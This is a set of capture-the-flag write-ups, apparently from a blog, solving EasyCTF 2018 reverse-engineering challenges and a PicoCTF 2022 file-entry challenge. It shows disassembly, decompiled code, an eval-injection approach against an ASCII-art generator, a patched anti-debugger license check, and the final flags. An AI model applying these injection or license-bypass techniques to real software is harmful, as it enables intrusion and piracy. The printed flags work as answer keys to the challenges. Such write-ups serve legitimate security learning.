Description: Can you find the flag in this file? ## Write-up Another simple one, just using $ strings.

[email protected]:~/downloads# strings hexedit
[...]
[]A\A]A^A_
Find the flag!
;*3$" easyctf{c20f2b9f} GCC: (Ubuntu 4.8.4-2ubuntu1~14.04.3) 4.8.4 .symtab .strtab .shstrtab [...]  Therefore, the flag is easyctf{c20f2b9f}. # EasyCTF_2018: Maldropper Category: Reverse Engineering Points: 160 Description: Mind looking at this malware dropper I found? File Note: this isn't actually malware, it just borrows obfuscation techniques from low quality malware. ## Write-up Before I start, I would like to give a shoutout to Keka for immediately ruining the obfuscation on the hidden binary. By simply double-clicking, Keka automatically unzipped a flagbuilder.exe. In this case, as I was new to Windows, I looked up for the easiest tool for Windows disassembly and found dnSpy. With that, we basically have the source for the flag generator. using System; using System.Text; public class Test { public static void Main() { Random random = new Random(239463551); StringBuilder stringBuilder = new StringBuilder(); stringBuilder.Append("easyctf{"); for (int i = 0; i < 6; i++) { stringBuilder.Append(random.Next()); } stringBuilder.Append("}"); Console.WriteLine(stringBuilder.ToString()); } }  Running this gives us our flag, literally printed right in the console. Therefore, the flag is easyctf{12761716281964844769159211786140015599014519771561198738372}. # EasyCTF_2018: Adder Category: Reverse Engineering Points: 80 Description: This program adds numbers. Find the flag! adder ## Write-up This challenge is really simple, just load up the decompiler, │ 0x00400b9c 01d0 add eax, edx │ 0x00400b9e 3d39050000 cmp eax, 0x539 ; 1337 │ ┌─< 0x00400ba3 7527 jne 0x400bcc  Add 3 numbers! # ./adder Enter three numbers! 0 1000 337 easyctf{y0u_added_thr33_nums!}  Therefore, the flag is easyctf{y0u_added_thr33_nums!}. # EasyCTF_2018: Soupstitution Cipher Category: Reverse Engineering Points: 70 Description: We had a flag, but lost it in a mess of alphabet soup! Can you help us find it? Connect to the server via nc c1.easyctf.com 12484. ## Write-up This challenge is just obfuscation of simple functions. A closer look at the code reveals that someone likes soup a lot, to the point of changing almost every word to soup but essentially, the code can be boiled (pardon the pun) down to for codepoint in range(2**16): c = chr(codepoint) if c.isdigit(): print(u'{}: {}'.format(functionA(c), c))  The key to solving this, is to understand that digits consist of unicode characters. Since the function used to convert the characters to digits are purely base10, we can do a bit of overflowing to achieve 10 digits with only 7 characters. Before that, we will need to convert our s0up to a number we want to work with and by throwing it through hexlify and both functions, we get the number 2365552391. Now it's a matter of getting the codepoints. Now, the challenge becomes a guessing game on the perfect combination of uncodes that would add up to the number. There could be an automated way to solve this but I was too much too tired to solve this automatically. ++++++++++++ 2365552391 - 2358 _ ++++++++++++ 7552391 - 0 _ ++++++++++++ 7552391 - 0 _ ++++++++++++ 7552391 - 7209 _ ++++++++++++ 343391 - 3001 _ ++++++++++++ 43291 - 3387 _ ++++++++++++ 9421 - 9421 _ ++++++++++++  After a long time of bruteforcing, and a certain bird's whispers, the challenge arrived at ⓽൫௩᱙00०. Additionally, as it's reversed, the actual input has to be ०00᱙௩൫⓽. Attempting to submit it, gives us the flag, # nc c1.easyctf.com 12484 ०00᱙௩൫⓽ ०00᱙௩൫⓽ oh yay it's a flag! easyctf{S0up_soup_soUP_sOuP_s0UP_S0up_s000000OOOOOOuuuuuuuuppPPppPPPp}  Therefore, the flag is easyctf{S0up_soup_soUP_sOuP_s0UP_S0up_s000000OOOOOOuuuuuuuuppPPppPPPp}. # EasyCTF_2018: Pixelly Category: Reverse Points: 220 Description: I've created a new ASCII art generator, and it works beautifully! But I'm worried that someone might have put a backdoor in it. Maybe you should check out the source for me... ## Write-up Disclaimer: Writeup for this challenge is poorly done due to my laziness, just refer to the script provided at the end. Sorry. This challenge was one of the most fun I've had, not that it was too easy or anything but essentially, the targetted line was, # hehehe try: eval(arr) except SyntaxError: pass  where arr was the image converted to ASCII art. Looking at the charset, we can formulate a plan to execute stuff that it should not. chars = np.asarray(list(' -"~rc()+=01exh%'))  After a bit of tweaking, the following seems like the best bet would be to call something like exec(eval(flag)). Since we have the charset for exec, we only need to work on using chr() to get our characters for the valfg characters. Now apparently, the generated image payload won't give us the flag, this is simply because of the extra whitespace newlines that our empty image produces. To fix, simply generate an image that's 10 pixels or lower in height. Disclaimer, for some reason, my script did not want to transcribe - characters properly, so I just converted everything to using +s. Finally, using our now finalised script to generate our payload, submit our generated image for submission. With that, we get our flag too. Therefore, the flag is easyctf{[email protected][email protected]_t0o!}. # EasyCTF_2018: License Check Category: Reverse Engineering Points: 300 Description: I want a valid license for a piece of software, here is the license validation software. Can you give me a valid license for the email [email protected]? Note: flag is not in easyctf{} format. ## Write-up Through lots of debugging, patching and pulling my hair out in ways that I actually do not know how to do a writeup on, I finally figured out how to bypass the debugger check by patching the binary too many times to count. Through masochistic analysis with ollydbg and too many cups of coffees, we can conclude 6 properties of the licenses for [email protected]. 1. The email [email protected] generates a checksum of 1ae33 2. The checksum is in base-30 3. License key is 16 characters in base-30 4. License key is split into 4 equal parts of 4 characters of base-30 each 5. Every part is then converted to its representive integers 6. Every part is then XORed together and the result must match the checksum This can be then converted into a Python representation and be used to generate our license key. $ ./solve.py
4ld70r4e43h043h0


Therefore, the flag is 4ld70r4e43h043h0.

# EasyCTF_2018: Liar

Category: Reverse Points: 70 Description:

Sometimes, developers put their source into their code with -g. Sometimes, they put another source into their code with -g. executable source

## Write-up

This challenge relied on the disasembly of the executable to find out that 1337 was indeed not the value to use. In fact, upon disassembly of the code, you find a really interesting number.

│           0x5555555548f0      8b45ec         mov eax, dword [input]
│           0x5555555548f3      3529eb5800     xor eax, 0x58eb29


0x58eb29 is also 5827369. However, using it doesn't give us our flag either,

# ./getflag
5827369


Now what? Well, if we look closely, the input is being used as a variable to some form of XOR operations,

│           0x5555555548f0      8b45ec         mov eax, dword [input]
│           0x5555555548f3      3529eb5800     xor eax, 0x58eb29
│           0x5555555548f8      8945f4         mov dword [local_ch], eax
│           0x5555555548fb      c745f0000000.  mov dword [loops], 0
│       ┌─< 0x555555554902      eb41           jmp 0x555555554945
│      ┌──> 0x555555554904      8b45f0         mov eax, dword [loops]
│      ⁝│   0x555555554907      4898           cdqe
│      ⁝│   0x555555554909      488d14c50000.  lea rdx, [rax*8]
│      ⁝│   0x555555554911      488d05480720.  lea rax, obj.f          ; 0x555555755060 ; "e"
│      ⁝│   0x555555554918      488b0402       mov rax, qword [rdx + rax]
│      ⁝│   0x55555555491c      89c6           mov esi, eax
│      ⁝│   0x55555555491e      8b45f0         mov eax, dword [loops]
│      ⁝│   0x555555554921      89c1           mov ecx, eax
│      ⁝│   0x555555554923      8b45f4         mov eax, dword [local_ch]
│      ⁝│   0x555555554926      89c2           mov edx, eax
│      ⁝│   0x555555554928      89c8           mov eax, ecx
│      ⁝│   0x55555555492a      0fafc2         imul eax, edx
│      ⁝│   0x55555555492d      89f1           mov ecx, esi
│      ⁝│   0x55555555492f      31c1           xor ecx, eax
│      ⁝│   0x555555554931      8b45f0         mov eax, dword [loops]
│      ⁝│   0x555555554934      4863d0         movsxd rdx, eax
│      ⁝│   0x555555554937      488d05620820.  lea rax, obj.g          ; 0x5555557551a0 ; "e\x0f\xafW\xdbZ:\x95\x03\xfa5\xa2\xd4Q\xab/\x93\xe0;:\xe7z\xf3\xa1/\x8c}\u0294q\xee\x07\xa7\x06h\x91E"
│      ⁝│   0x55555555493e      880c02         mov byte [rdx + rax], cl
│      ⁝│   0x555555554941      8345f001       add dword [loops], 1
│      :│      ; JMP XREF from 0x555555554902 (main)
│      ⁝└─> 0x555555554945      837df024       cmp dword [loops], 0x24 ; [0x24:4]=-1 ; '$' ; 36 │ └──< 0x555555554949 7eb9 jle 0x555555554904  Through a bit of trial and error, we get the proper key, which was 5827374. # ./getflag 5827374 the flag is easyctf{still_wasn't_too_bad,_right?}  Therefore, the flag is easyctf{still_wasn't_too_bad,_right?}. # PicoCTF_2022: Basic File Exploit Category: Binary Exploitation Points: 100 Description: The program provided allows you to write to a file and read what you wrote from it. Try playing around with it and see if you can break it! Connect to the program with netcat: $ nc saturn.picoctf.net 49698 The program's source code with the flag redacted can be downloaded here.

## Write-up

We are given the source code. From the source code, we can see that this challenge is not a challenge.

  if ((entry_number = strtol(entry, NULL, 10)) == 0) {
puts(flag);
fseek(stdin, 0, SEEK_END);
exit(0);
}


From the looks of it, supplying any random entry, and then just giving 0 as an entry number gives us the flag.

❯ nc saturn.picoctf.net 49698
Hi, welcome to my echo chamber!
Type '1' to enter a phrase into our database
Type '2' to echo a phrase in our database
Type '3' to exit the program
1
1
a
a

Therefore, the flag is picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_1B9F5942}.